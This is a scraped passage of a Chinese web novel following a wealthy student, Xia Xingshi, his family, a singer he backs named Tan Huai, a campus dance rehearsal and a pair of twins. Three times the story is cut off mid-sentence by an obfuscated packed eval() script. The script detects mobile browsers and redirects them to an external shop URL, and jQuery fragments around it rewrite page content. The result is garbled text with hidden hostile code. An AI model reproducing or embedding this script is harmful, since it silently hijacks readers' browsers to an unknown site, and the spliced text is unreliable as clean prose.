夏星时对此并不意外。金额这方面,他或许能瞒住妈妈,但绝对瞒不住大哥,因为夏星时用了大哥的律师团队。
即便大哥不问,律师团也会汇报的。
夏星时鼓了下脸,小表情很生动。
虽然这也不算什么秘密,他也没有跟大哥说要低调云云,但抛开事实不谈,大哥难道就没有错吗?
大哥还是太不懂事了。
“说真的,你二姐我现在有点子小好奇。那个谭、谭淮是吧,他声音是有多好听啊?”夏元瑾这会是有点想听听到底是什么天籁之音能搞出“声替”这么个奇葩产物,还能让她弟弟这么上心。
“我把他账号推你吧。”夏星时把谭淮在小音符的账号推给二姐。
“行。”夏元瑾直接拿起手机扒拉扒拉。
小谭同学的视频很简单,两个关键词——楼道、清唱。
声音的确好听,唱功也不错,不过播放量很不稳定,是跟着翻唱歌曲的热度走的,账号没有什么个人特色,看得出来只是业余分享唱歌日常,基本没有营业,粉丝也多是路人粉,账号价值并不高。
“对了,夏元岑说他给你往卡里打了点钱。还有你看上的那辆赛车,可能还要在等一阵子。所以他给你补了辆摩托,先凑合玩几天吧。”
夏元岑之前答应夏星时在开学前车一定到位,但现在出了点小意外,一生要脸的霸总根本拉不下脸自己跟弟弟解释情况。
而在事没办好的前提下,夏元岑对小明星的事也不好开口,只能外包夏元瑾了……
夏元瑾没有任何心理负担,她还会嘲笑夏元岑呢。
夏星时收回刚刚对大哥的误判。大哥!好!
现在天也回暖了,正好骑新摩托玩,有条线路挺不错的之前没跑!
“那二姐我回学校啦。”夏星时喝完排骨汤背起书包。
夏元瑾摆摆手,没有假模假样站起来送送。
夏元瑾吃完排骨,拿着手机窝进沙发抱着豆包的狗头,随手扒拉着【小石谭】的视频:“好听是好听,但也没什么惊艳感啊。”
不过喜好本来就带有强主观,说不定星时就好这一口呢。
夏元瑾抽空切屏给夏元岑发消息,把刚刚星时的解释发过去,对面的夏元岑放心了。
就在夏元岑切屏回来打算关闭软件时,新的视频刷了出来,夏元瑾愣住了。
“这个摇篮曲……怎么这么像星时唱的啊。”
夏元瑾重播了几次,又切到【小石潭】的其他视频听了一会。
除了那首摇篮曲像的离谱之外,其他的歌乍一听倒听不出来什么相似感,但是在一些歌词的咬字上,【小石潭】微妙的很有夏星时的风格。
风格上的相似,更多的是种感觉,只有非常熟悉夏星时、并且刻意留意才能察觉到。
按理说,这一点点的相似度,夏元瑾当它是偶然、巧合才是正常的,甚至应该质疑自己是“亲姐耳”。
但谁让夏元岑前不久才打了个魔怔人。
夏元瑾的警报拉响了。
夏元瑾切回聊天页面,把【小石谭】的摇篮曲给夏元岑推过去。
【元瑾:你说,有没有种可能,你上次下手轻了点?】
二十分钟后——
【元岑:@#¥%他大爷#@%沈#@江尘!!!】
16.第 16 章
夏星时回到学校,附近的房子。
房子这边有阿姨定期打理,一个假期没住也还是干干净净,稍微通通风就可以了。
新摩托已经送到地下车库,和夏星时的代步小电动放在一起——在校内,夏星时更喜欢骑电动。
夏星时兴致很高,特意去车库擦了擦爱车,顺便往【相亲相爱一家人】发了张和车子的自拍,顺利拿下家人的赞美。
夏星时已经很开心了,结果好事连连,刚洗完澡又收到了谭淮的消息,说那首歌已经写完了。
同步发过来的还有一段清唱音频。
氤氲的水汽尚未散去,夏星时随意围了条浴巾走出浴室,赤裸的上身被灯光照的晃眼,一身的冷白皮好似被水汽蒸透了,泛起一层湿意的粉。
水珠从发梢滚落,顺着精致的锁骨,一路流到胸膛,又划过紧实的腹肌,最终隐没在浴巾中。
他点开音频,清爽的声音从听筒流出,轻快的小调仿佛将人带进春天,浸入一片盎然的生机中。
任谁听了心情都会变好。
一分多钟的音频,没有伴奏,只有谭淮干干净净的声音。
【星时:很好听。】
夏星时发完这条本要放下手机,又忽然想起谭淮目前处于较为敏感的状态,应该需要更直白的肯定。
他想了想,又发了条消息——
【星时:我很喜欢。】
歌听完了,也算了了一桩心事。之前只听见一小段,总有种不上不下的感觉,现在彻底舒服啦。
夏星时擦干头发,美美入睡。
翌日。
夏星时醒了,脑子尚未清醒时手已经下意识在床上搜寻手机的踪迹。
摸到手机后,他翻了个身,调整枕头位置,趴着鼓捣手机。
他发现谭淮夜里又给他发消息了。
【谭淮:录音音质不是很好,现场会更清晰一些。】
【谭淮:夏少有时间来录音棚吗?】
夏星时迅速回复。
【星时:换个称呼!!!】
【星时:[小猫抱头.jpg]】
他甚至能猜到谭淮打字时的表情,正经又认真。别人一旦正经,夏星时就有些羞耻了。
【谭淮:好的,星时。】
夏星时看见谭淮回复,直接打了个视频过去,对面秒接。
夏星时:“你起好早啊。”
晨起的嗓音还泛着慵懒的倦意,低哑又性/感,发丝凌乱翘起,让的那张明艳的面庞多了几分温顺。
谭淮看见夏星时,下意识露出一个笑,轻轻开口说:“今天要试播。慕姐说我有粉丝基础,可以先走网红赛道,以后有机会可以参加选秀之类的活动。”
他不知道该和夏星时说什么,又不想说的太少。
面对夏星时,他总是紧张的。
父亲欠下巨款失踪,和睦美满的家庭一夜之间面目全非,还未踏出象牙塔的谭淮被迫提前感受世界的残酷。
他没做好准备,也看不清前路,却必须向前。险些走了弯路踏入深渊,又幸运的得到了一次机会。
谭淮知道夏星时是为了这首歌“买”下了他。出卖才华总比出卖身体更体面。
他不知道夏星时为什么会喜欢这首尚未完成的歌,不明白到底哪个点戳中了夏星时,才让他侥幸得到了喘息的空间。
谭淮只期望自己能让夏星时更满意一点。
夏星时抓抓头发:“你叫姐我叫姨,那我不是矮了你一辈嘛。”
他这么说着,心里却没太在乎,职场称呼嘛,当不得真。
似乎是觉得趴着举手机不太舒服,夏星时坐起来,他把枕头当靠背,舒舒服服的靠了上去。
被子无力地滑落到腰际,大片的白皙皮肤随着动作展露出来,饱满的肩头和后背漂亮的流线,腰腹的线条利落紧实,肌肉流畅的向下延伸,最终隐没在薄被边缘,只留下遐想的阴影。
风景只是一闪而过,谭淮却看的真切。
“轰”——大脑仿佛炸开,瞬间丧失了一切思考能力。
夏星时重新举起手机:“直播唱歌吗?还是之前的账号?”
谭淮恍惚着回神:“嗯,对,唱歌。”
他说着话,视线却落在随着呼吸微微起伏的胸膛上。
……好白啊,锁骨也好性感。
谭淮微微坐直了些,眼神无意识的露出了几分近乎本能的侵略。
“现场我就不去了,等等平台上线吧,”夏星时想了想接着说,“其实我觉得你可以走作曲或者填词路线,创作型歌手很抢手的。嗯,版权很也值钱。”
夏星时知道谭淮现在在意的是什么。在最困难的时候,谭淮想的也是一定要把钱还上。
谭淮:“慕姐说先把这首歌投到市场看看反响,已经在做推广的视频了。”
夏星时弯了弯眼睛:“那很好呀。”
他和谭淮聊了一会,最后是谭淮要上播了才停止通话。
夏星时又趴回去了,下巴枕着枕头,胸口压在床上肌肉微微挤压着。
东升娱乐在影视圈地位斐然,但在音乐圈就查无此人了,近几年他敬爱的母亲一直想进军音乐市场,有过的几次尝试,效果不能说不好,但没有达到游女士的预期目标。
不是游女士有什么决策上的失误,而是音乐的赚钱逻辑和影视不太一样。
优秀的音乐也许很容易引起共鸣,但共鸣,没有钱。
流量时代,有流量只能算完成了第一步,如何将流量变现才是重中之重。
在音乐圈赚钱就不能只搞音乐,游女士今年的战略大动作是——选秀。
粉丝经济永不落幕,而既然要搞粉丝经济,那就往死搞。
谭淮个子高身材比例不错,五官周正,外形条件很好。慕姨应该是想把谭淮塞进男团,初期营销搞一个网红追梦,提高关注度。
而且谭淮会写歌——甭管后续还能不能产出,即便有一首独立原创作品,经济团队也敢往死里吹。有故事、有核心竞争力、还有资本愿意推他,还是有概率能火。
不过逻辑上虽然走得通,但夏星时不太看好谭淮走偶像男团这个路子。吃粉丝经济的,多多少少是要媚粉营业的。
可谭淮就不是那种放的开的性格。
夏星时叹气:“感觉小谭还没有我会营业呢。”
他切换软件,找到谭淮的直播间。
直播间没几个人,看背景应该是在公司分的宿舍里,大白墙面上贴了个福字,其他什么装饰都没有,摄像头直接怼脸,打光只靠自然光。
而主播本人坐在椅子上,老老实实唱着歌。
他背挺得很直,眼神从没落在摄像头上,神情透着不自在,一开始气息有些抖,但很快稳了下来。
毫无互动,只把自己当个无情的唱歌机器。
夏星时怀疑如果没人叫停,谭淮能老实唱一天。
东升娱乐有专业的直播团队,在音符平台也有投资,但谭淮什么成绩都没有,不可能给他上团队。谭淮现在能发歌是因为夏星时喜欢这首歌,所以才一路绿灯。有特权的是那首歌,不是他谭淮。
夏星时退出直播间,给慕姨打了个电话。
“慕姨,嗯对,我知道他把歌写好了……嗯,我打算明天去录音棚听他给我唱现场。啊?他在直播呀,少播一会儿吧,别再把嗓子唱坏了。”
“不会影响你们的规划吧。那好,我明天下午过去。三点左右吧。好,拜拜姨。”
夏星时挂断电话,用力翻了个身。
这还不是金主就这么操心了,真
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133968|195854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要是包个小明星他不得操碎了心?
.
B大。
“拉小提琴还是太雅了,大家还是想看点俗的。”校学生会文艺部副部长如是说道。
“校庆诶,整点高雅的成吗。”被堵在教室的夏星时扫了眼周围一圈虎视眈眈的文艺部成员,他快没招了。
你们讲不讲武德?有本事单挑啊!
“正所谓大俗既大雅。义父给个准话,这开场舞你是跳还是不跳!”副部长推推眼镜,语气很是强硬,但开口就是义父。
夏星时差点没崩住。
夏星时:“那汪部长,我总不能一个人跳舞吧。”
汪副部长听见称呼,极力压制嘴角的弧度:“那不能,我们这是集体舞,你是领舞,就是你在军训上跳的那个。”
夏星时沉默片刻:“能过审吗?”
汪副部长眼神一瞪:“什么话,我们又没让你全脱!”
所以还是要脱是吗?!而且我说的是这首歌能不能过审!
“夏哥,审批的事不用担心,我们这边都安排好了,而且英文歌听的就是个节奏,词不重要。”镇场子的文艺部部员开口。
他开口,汪副部长微微点头,看来这位是副部长派系的。
“这样,支持咱们学生会工作,参加节目没问题,我就不当领舞了,毕竟不专业。这么大的活动,咱们找个艺术系专业人士领呗。”夏星时退了一步。
“艺术系今年忙得很,没空来区区开场舞摸鱼。”
夏星时:“……你这么说我可就有点担心了。”
“把心放在肚子里!”汪副部长大手一挥。
副部长还要说什么,教室的门忽然被打开,钻进来一个脑袋,眼神非常清澈:“是这个教室开会吗?”
“没错没错,同学快坐,我们等一等人齐。”汪副部长把门打开,将人迎进教室。
“哥,别急着恍然,我们是为了堵你才特意定的这个教室。”文艺部的人对夏星时说。
夏星时:“你人还怪好的。”
夏星时在学校小有知名度,毕竟光这张脸就属于王炸。不过彻底出名的还是军训的才艺表演,当时他被杨程拉着上场跳舞,虽然并非本意,但既然已经上场了,当然是大大方方的!
杨程这个人就很俗,他太知道朋友们想看什么了。双人舞加上暧昧舞步和肢体接触,那尖叫声就没停过。
夏星时当时也是有点嗨,跳的劲劲儿的,收尾的时候不小心露了一下腰。
然后,当天的表白墙就被夏星时的高糊露腰视频截图刷了屏。
他之前也被院文艺部的联系过,夏星时都婉拒了,这次校文艺部直接线下堵人,义父都叫上了,从态度层面已经是相当强硬了。
副部长开始搞投影放ppt,其他部员跟上去假忙活,突出一个重在参与。
夏星时转头跟刚才来的同学了解情况。
同学:“我不道啊,他说给学分我就来了。”
夏星时:……对味了。
教室陆陆续续开始上人,然后夏星时就看见了杨程的身影。
杨程看见夏星时出现在这也是一愣,然后快步上来:“哟,少爷,您是有什么把柄被文艺部抓到了吗?”
夏星时语气真诚:“我是被文艺部抓到了。”
杨程哈哈哈哈乐的能看见扁桃体。
下一秒,杨程停下笑容,用胳膊碰了碰夏星时,压低声音:“洛家双胞胎诶。”
闻言,夏星时抬头。
最先看见的依旧是两张仿佛镜像一样的脸,难以忘怀的美貌,双倍的冲击。
这对儿双胞胎就算单拎出来也足够引人注目,眉弓立体,眼窝深邃,眉眼神韵透着股纯澈的深情。
夏星时很喜欢兄弟俩的眼睛。
17.第 17 章
洛家双胞胎是以交换生的身份进入B大,由于两人出色的相貌以及双胞胎身份的加成,入学后立刻成了同学们的饭后谈资。
杨程摸着下巴:“他俩还有空掺和这种事?有诈有诈。”
他有点想溜了。杨程爱凑热闹不假,但有些热闹他凑不得呀!他就是路边小卡拉米一条,万一被殃及池鱼了怎么办。
汪副部长打开麦克风:“喂喂喂,同学们往前坐坐,人到齐了,咱们讨论一下接下来的细节。”
夏星时没动弹,他和杨程坐在第二排,已经很靠前了。
“大家面对面建群0101,进群这段时间,我正好简单讲两句。”
汪副部开口这个范,只当个副部长肯定是屈才了。
“咱们这次校庆,规模很大,赞助很多,学分同样充足!但不是谁都有机会上节目的。有的同学可能已经听说了,校庆已经被毕设包圆了,我在这里辟个谣,这不是谣言!”
“这次舞台需要控制在三个小时内,这么点的时间,那都根本不够分,一定是优中选优、强中选强,专业中的专业。其他节目,现在还在进行激烈的角逐。但这咱们这个节目不一样,只要大家不掉链子,我保证大家能顺利带走学分。”
汪部长选人也不是只看脸和身材瞎选的,这些人都有舞蹈基础,一多半的都是舞蹈社的人,有大型舞台演出经验,配合很默契。
“有的同学就要问了,既然这么激烈,我们凭什么能上节目。我也要明确说明一下,咱们这个节目不算在正式节目里,也就是不计入时长,起的是一个预热的效果。”
“当然也不要太不当回事,咱们这个节目,只要保证整齐就能上,每个人打底就是1学分,你说上哪能找到一次一学分的活是不是,0.1分都难求!”
有同学举手:“汪部长,别的我也不在乎我只在乎学分,我帮大家伙问一下,搞这种擦边节目,你们文艺部能保证过审吗?”
汪副部长面不改色:“这位同学问得好。首先我要纠正你的用词,咱们这不是擦边,关于开场舞,我的定义是大俗即大雅。大家喜欢的,那就是雅。”
夏星时问杨程:“他哪来的这么多词。”
杨程托腮:“那必须是家学渊源啊。”
这太有开会味儿了,大家都开始打哈切了。
“其次,关于过审,请各位同学放心,我们这个节目,是个正经节目。当然,还有一些细节需要敲定一下。比如这个双人舞,在服装选择方面,还是要慎重一些;然后就是搭档,我们定的是男男女女搭档。”
夏星时扶额:这不纯歪门邪道吗?
有人直接乐了:“就给和拉的感觉卖呗。既达成了视觉效果,又能规避风险,汪部你简直是个小天才哇。”
汪部微微一笑:“在座的各位,包括我,都会上这个节目,所以过审的事大家就放心吧。今天晚上前,大家把搭档找好,男生汇报给小李,女生汇报给小张。这两位就是大家的联络员了。”
第一排的一男一女举手示意。
“然后咱们节目的指导老师是夏教授,不过夏教授也只是挂个名,大家没事不要打扰夏教授,这位同学你有什么问题吗?”
这位同学:“部长,我数了一下,咱们这人数不对啊,是单数。”
汪部长对这位同学投去肯定的眼神:“因为夏星时同学是领舞,没有搭档。哦?杨程同学,你有什么问题?”
杨程手举高高,跃跃欲试,也不知道是什么关键词戳中了他,这会儿精神不困了,身体不累了,也不觉得开会无聊了。
他站起来,中气十足:“我觉得领舞不该只有一个人!”
汪部长眉头一皱。
开场舞是炸场子活跃气氛的,夏星时不站前排那就是浪费资源!而且夏星时还有一些不可或缺的其他作用呢。小杨竟想动夏星时的位置,多少是有点不懂事了哦。
汪部长轻推镜框,面色看不出异样:“哦?你有什么想法?”
杨程超大声:“既然有双胞胎,那不能不用啊!他俩这大高个站后面白瞎了这张脸!”
小扬你听听自己说话有逻辑吗?汪部长嘴角一抽。
汪部长没有反驳,反而面露沉思。确实,双胞胎是稀缺资源哇!
“把双胞胎一起抬到领舞位置,营造一个3……更艺术的氛围。”杨程瞥到了夏星时的眼神干笑一下话锋调转。
真是的,一提到艺术就上头了。我可真是个大艺术家啊。杨程顾影自怜。
汪部长双眼一亮,示意杨程继续说下去。
杨程:“咱们这个舞蹈难度的确不高,但在座的各位兄弟姐妹都是业余选手,指望我们多专业是不可能的,既然在专业上赢不了比赛,那就只能走点盘外招咯。而且说实话,领舞越多,后排伴舞压力才能越小。”
汪部长点头。
杨程趁热打铁:“服装方面,我也有一些拙见。我们直接穿学校去年弄的周边卫衣,下装穿浅蓝色牛仔裤,脚上小白鞋。搞一个青春纯洁的氛围,和舞蹈做个反差,当然,这样的设计也是为了部长能顺利过审!”
有兄弟鼓掌了:“还得是我杨哥懂艺术,不愧是艺术鉴赏满分的男人。”
“文化衫好啊,去年那套我没抢着,汪部给我搞一套吧!”
有人开始起哄:“文化衫这玩意学校肯定会免费提供啊,这服装经费节省下来,部长要不请大家吃顿饭吧。”
“干饭干饭!”
汪部长:“大家以诚待我,我必以李报之!说干饭就干饭!”
汪部长看似被架起来了,但夏星时定睛一瞧,最开始起哄的那个不是汪部的心腹哥么。
好嘛,一唱一和,收买人心啊。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142178|195854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大家静一下,”汪部长压手,“杨程同学的提议很不错,接下来我们采用民主方式举手表!决同意的举手!”
唰唰唰,除了三个当事人没有举手,其他人都举手了。
汪部长很想直接拍板,少数服从多数。
但他还有点良心,叹了口气开口:“三位有什么别的想法吗?”
双胞胎坐在前排,湖水般澄澈的眼眸弯出一个漂亮的弧度。
他们的视线轻轻落在夏星时身上,仿佛荡出一圈涟漪。
不知道是洛明琛还是洛明瑾轻轻开口:“我们只是在想,要不要稍微矜持一点。”
众人:哇哦~
.
“夏哥,要不揍我一顿吧,我现在特不踏实。”杨程搬了把椅子挨着夏星时坐好。
夏星时推开杨程的头,眼睛没从视频上移开:“我干嘛揍你。”
杨程耷拉着脑袋:“我真不该张那个嘴。”
但谁能想到好好的双胞胎整这死出啊!
“跟你没关系,他俩摆在那呢,你不提也会有别人提,”夏星时先安抚,后调侃,“不过你的确反应太快了,都不背着点人。”
杨程小声问:“夏,你不是在阴阳我吧。”
夏星时抬头,没忍住笑出声:“我以前怎么不知道你这么胆小呢。”
夏星时情绪特别稳定,校庆嘛,大家参加活动开心开心。而且就跳个舞,他又不怕被看。
他放下手机,将手搭在椅背上,“你是好奇双胞胎想干什么?”
杨程迟疑片刻点头。理智告诉他不要好奇,但感性不管不顾。
夏星时:“当你见到一对双胞胎,脑子里第一反应是什么。”
杨程:“谁是谁。”
说真的,自从洛家双胞胎露面,他想的不是什么洛家的惊天八卦,而是——谁是洛明琛、谁是洛明瑾?
夏星时:“那你知道双胞胎小时候最喜欢玩的游戏是什么吗?”
杨程皱眉:“……猜猜我是谁?”
夏星时笑:“可以啊,最近智商明显见长。”
夏星时有对付双胞胎的经验。
夏元岑夏元瑾小时候特别喜欢维持双胞胎的人设,两个人的发型、衣着、配饰,是完全相同的,最喜欢的游戏就是让夏星时猜自己是谁。这个游戏直到兄妹俩青春期发育,声音和个头出现明显差异,才遗憾结束。
在牙没长齐、话说不利索、连幼儿园文凭还没拿下的年纪,夏星时却能精准分辨哥哥姐姐。
“所以?”杨程有点不明白了。
夏星时用手背托着下巴,头微微倒向一侧,脖颈毫不设防的展露着。他抬起眼眸,鸭羽般的睫毛翘起漂亮的弧度,语气漫不经心:“陪他们玩玩呗。”
他眼神意味不明,眼尾挑起,那颗泪痣此刻显得薄情又多情。
蛊的很。
18.第 18 章
杨程吞了吞口水,虽然徐渝和袁易不信,但他真的是直男。
他对夏星时,是艺术家对缪斯的欣赏、是对艺术的追求。但说真的,某些时候,夏星时蛊的过分了。
在超越性别的美貌重击下,直弯已经不重要了。
……就很想当夏的狗啊!
杨程猛地给自己来了一巴掌,暗自唾弃自己对艺术的不忠。
夏星时默默远离杨程,这种行为艺术他暂时理解不了,但给予最高的尊重。
杨程对自己下手有点狠,捂着脸蹲在夏星时脚边,可怜巴巴的问,“他们惹到你了?”
夏星时挑眉,惊讶于杨程的敏锐。
杨程其实挺好奇,双胞胎到底犯了什么天条,才让夏星时这么生气。
杨程确信,就算被双胞胎疑似当中表白的时候,夏星时也没生气——毕竟对夏少爷来说,被人喜欢,很正常。
而在此之前,夏星时甚至懒得搭理双胞胎,更别说要陪双胞胎玩玩了。
杨程:“所以是刚才双胞胎上来加联系方式的时候触怒了我们夏少?”
夏星时轻哼一声,没有回答。
有时候不回应就是一种回应。
夏星时想起刚才散会后,双胞胎过来加好友。来跟他搭话的自称是“洛明瑾”,言辞谈吐都没问题。
唯独和上次的洛明瑾不是同一个人。
夏星时当时就不笑了。
.
东升娱乐,练习室。
谭淮抱着吉他,指尖轻轻拨弄着琴弦,清澈的人声在空荡的空间中响起,空气中的浮尘在光下跳动,他坐在西沉的光中。
夏星时闭着眼盘腿坐在地板上,喉咙轻哼着这首歌的小调,身体随着调子微微晃动。
最后一个音节落下又缓缓消散,夏星时才睁开眼睛。
夏星时:“真的好春天啊。”
他抬手遮住眉骨,挡住眼前的阳光,指缝漏下的光斑洒落在唇边。
“你喜欢就好。”谭淮放下吉他,视线落在光影处,顿了片刻轻声问,“今天心情不好吗?”
夏星时放下手,歪了歪头:“怎么说?”
谭淮:“你今天很少笑。”
夏星时愣了一下,紧接着忽然笑了,“我也没那么爱笑吧。”
“好吧,是有点不开心啦,不过听到小百灵唱歌心情瞬间就好了。”他浅笑着,眼睛弯了起来。
“小百灵?”谭淮下意识跟读。
空气静了一瞬。夏星时表情无辜,眼神却闪躲着。
一个没留神就把外号当着本人的面说出来了。
好吧,夏星时承认,对于谭淮,他除了喜欢这首歌之外,的确有一点点真的就一点点救风尘的意思。而且谭淮在“剧情”里也是因为声音被选中成了替身。这不是小百灵是什么?
众所周知,人在尴尬的时候小动作总是很多,夏星时顺手拿起吉他,低着头拨弄琴弦,一开始只是随意拨弄,但谭淮很快开口唱歌,夏星时回忆着调子给小百灵伴奏。
空旷的练习室回荡着人声与吉他声,光影微沉,世界静谧。
谭淮唱着歌,视线一直落在夏星时身上,专注又虔诚。
他大概会永远记得第一次见到夏星时的感受。
优雅高贵,从容自信,一眼就知道这个人和自己不在一个世界,他当时一下子就被震住了,根本不敢直视夏星时。
连呼吸都放轻了几分,恐惊天上人。
就像现在,夏星时明明就坐在他对面,他也依然觉得自己和夏星时之间隔了一层壁。
夏星时:“我伴奏还行吧。”
谭淮认真:“特别好。”
夏星时轻咳一声,唇角微微勾起。
“直播的事我想了想,要不还是搞个皮套吧,时常方面,每天两小时就行了。”夏星时把吉他怀给谭淮,站起来伸了个懒腰。
小百灵唱歌很好,不过有点太认死理了,总想着压榨自己偿还什么。
谭淮跟着起身,他抱着吉他,刚想说什么,夏星时却没给他机会。
夏星时:“不要太在乎公司给你的任务,你的重心应该放在哄我开心上。多写点我爱听的歌,然后唱给我听才是你的任务,小百灵。”
谭淮呼吸一滞,他微微垂眼,喉结上下滚动,没有说话。
夏星时拍拍谭淮肩膀。“行了,歌听完了,我该走了。”
谭淮:“我送你。”
夏星时没有拒绝,“行吧。”
他今天是开车来的,车子停在地下车库,坐个电梯就到,从练习室出来,他顺手拿出手机随意翻了翻,踏上电梯时,唇角微不可查的下压了几分。
谭淮侧头,瞄到了屏幕上的聊天页面。
好像,有个洛字?
.
夏星时没课也就没回学校。
他翻开和洛明瑾的聊天记录,上面全是洛明瑾发来的消息。夏星时还没回复。
第一条是系统的打招呼消息,第二条就是一堆信件的照片,以及洛明瑾自爆笔友身份,说什么上次恰巧碰见其实就想“认亲”但没准备好不好意思。
说什么到这边交换也是因为想见到夏星时,可是入学一直在处理手续,没有机会见面云云……
大段大段的留言跟小作文一样,言辞上有一种笨拙的真诚。
最后一条消息是希望能和夏星时有一次正式的面基,配套的还有一张可可爱爱的表情包,给人种人畜无害的感觉。
夏星时气笑了。
他跑到和哥哥姐姐的三人群里发了条消息。
【星时:开始讨厌双胞胎了!】
夏星时附上两张气鼓鼓的表情包用来表示自己此刻的愤怒。
【元瑾:?】
【元岑:?】
夏星时切回洛明瑾的聊天页面,平淡的拒绝了洛明瑾的见面邀请,并表示大家都是同学没有必要特意私下见面。
双胞胎是打算拿他猴子耍,只不过他恰好分得清。
他当然可以轻飘飘戳穿双胞胎小把戏,提前结束这场无聊游戏。但这未免太便宜洛明琛洛明瑾了。
夏星时想起前段时间导致自己失眠的梦。
好吧,他必须承认,在某些时候,他的确有点小坏。
.
接下来一周,汪部长组织大家练习舞蹈。
舞蹈本身的难度并不高,这个节目的困难的点在于让所有人的动作整齐。
按汪部长的话来说,万物皆可熟练工种,跳的不齐只能说明我们练的不够多,练得不到位!事实证明,汪部长说得对。
夏星时和双胞胎毕竟是搭档,相处时间难免多了一些。
不管夏星时表现得如何冷漠疏离,双胞胎一直热情似火。
不过在外人眼里,特别热情的只有“洛明瑾”。
“夏,你还记得小时候给我寄过一朵小红花吗?你在信里说那是你第一次得到两朵小红花,所以分享给我一朵。”
“夏,你看这个,是你寄给我的漂亮糖纸,我有好好保存哦。”
“夏,你还记以前给我寄过一盆小番茄吗,现在它们还好好活着呢,我把它养的很好哦。”
“洛明瑾”毫不在乎夏星时的冷淡,在练舞间隙一找到机会就黏上来。
逐渐的,夏星时开始回应“洛明瑾”。
夏星时:“为什么你在信里从没说过自己是双胞胎啊?”
洛明瑾眨眨眼:“因为不想把夏分享给哥哥。”
他轻轻靠近夏星时,金发摇晃,湖水般得眸子澄澈透亮:“和夏通信的只有我一个而已,夏只要喜欢我就好。”
夏星时微笑。
我信你个鬼,小B同学。
光今天,双胞胎就至少换了三次身份!
夏星时不在乎到底谁是洛明琛谁是洛明瑾,他简单的将两人分成小A和小B,第一次见的那个是A,另一个是B。
集体活动结束,夏星说转身就走,没给双胞胎挽留的机会。
双胞胎站在一起,视线追随着夏星时的背影。
洛明瑾神情哀伤:“又是被小漂亮婉拒的一天呢。”
洛明琛:“说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145756|195854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小时候的事他愿意回应,但是一说到喜欢就不理人了。”
洛明瑾:“好冷淡啊他,连笑都不愿意多给几个。”
洛明琛忽然说:“刚才跳舞的时候我摸他腰了。”
洛明瑾眯眼:“我摸了两次。”
洛明琛迅速转移话题:“小漂亮现在根本不愿意接触我们,洛家的事你上上心。”
洛明瑾:“哈?难道不是你一直在拖延吗?”
.
晚间。四人组齐聚校门口火锅店。
袁易:“橙子,你现在好像条死狗啊。”
杨程趴在袁易身上艰难抬起一根手指,又无力放下。
徐渝把调好的蘸料推给杨程:“快点吃吧,别特么死这。”
袁易:“这么累吗,星时精神不是挺好的么。”
杨程支棱一下:“我什么精力他什么精力啊!”
他只是一个娇弱的艺术家!
夏星时嚼嚼:“正好借这机会锻炼锻炼,然后校庆结束好陪我去爬山,诶,这首歌?”
火锅店切歌,夏星时听见前奏愣了一下。
杨程又支棱起来了:“这歌最近可火了!据说每个人听这歌感受不一样。听到春天的恭喜你还是从前那个少年、听出酸涩的说明你还明放下那个他/她、听出救赎的、坦然的、温馨的、怀念的、释然的,啊还有彻底死心的……”
徐渝接茬:“有个哥们听见这歌在直播间哭了俩小时!可以说是相当痛了。你这几天没上网?”
后面那句问的是夏星时。
夏星时点头:“是没怎么刷视频。”
“这歌是现象级的爆火,音乐区全是赶热点翻唱的。而且原唱声音和咬字很有特点,别人唱不是他那个味。”袁易补充点正经的。
“原唱挺厉害,词曲演唱都是他自己,现在放的是伴奏版,还有一版是吉他清唱,听着更痛。”徐渝啧啧。
“是吗?”夏星时困惑。怎么他完全没感觉。
店里播的歌就是谭淮的那首歌,夏星时听歌识曲,一首《听春语》跳出来,歌手是——谭淮。
点进去评论999+,每秒都有新评论。
啊……他的小百灵好像火了。夏星时想。
他刚要收起手机,屏幕跳出一个来电显示。
“喂,慕姨?我没事,和同学吃饭呢。嗯?行,我来处理吧。”
袁易问:“有事忙?”
“小事。”夏星时回应,手指在屏幕点击,打开慕姨发来的图片。
慕姨说这几天一直有人要挖谭淮,不过在知道谭淮是东升娱乐的签约艺人后都知难而退了,唯独世纪影业的经纪人特别执着。
世纪影业和东升娱乐常有合作,商业关系还不错。在音乐圈的资源,世纪影业远超东升娱乐。
流量时代,现象级大爆太有吸引力了,而且创作型歌手很稀缺。世纪的经纪人认为他们那边才能让谭淮有更好的发展,所以一直在磨东升。
世纪那边也不算无理取闹吧,正常情况下三方完全可以结个善缘。谭淮能更好的发展、东升娱乐置换一些音乐圈资源、世纪影业得到一个不错的艺人。完美的三赢。
但问题是,现在不是正常情况——谭淮,算是夏星时的私产。
慕姨作为谭淮的经纪人不可能随便跟别人说自己艺人的情况,但说不清楚的话,世纪肯定不愿意放弃谭淮。
所以慕姨打算直接使用盘外招。
